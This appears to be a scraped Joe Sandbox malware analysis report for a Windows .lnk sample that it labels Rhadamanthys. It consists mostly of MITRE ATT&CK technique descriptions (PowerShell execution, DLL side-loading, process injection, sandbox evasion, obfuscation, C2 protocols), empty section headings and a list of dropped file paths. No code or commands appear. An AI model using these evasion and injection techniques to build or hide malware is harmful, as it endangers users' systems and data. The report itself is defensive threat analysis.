Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 0J3fAc6cHO.lnk

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Rhadamanthys

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_fontdrvhost.exe_d32c824e8915b30da4efd4eabd13e74e4ef8c1_ad0be647_40e10521-cce7-4c2b-8424-08c29f39e59b\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WER299C.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WER29DC.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER2A2B.tmp.xml

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\080d9fb3-b8ed-4edb-ae56-c8707a348110.tmp

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\0ea4131d-c6c2-42cf-9fb6-a945fbfee1f1.tmp

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\45c417f7-fe0c-473d-8f13-106811149e0c.tmp

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\4a5f16ec-4a63-410f-8f39-de3a7c905ceb.tmp

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\4e039779-fc9e-4dda-b643-909233bfad02.tmp

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\532cc2ac-abe9-4779-b804-a98a989a4d8e.tmp

Windows Analysis Report
0J3fAc6cHO.lnk

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre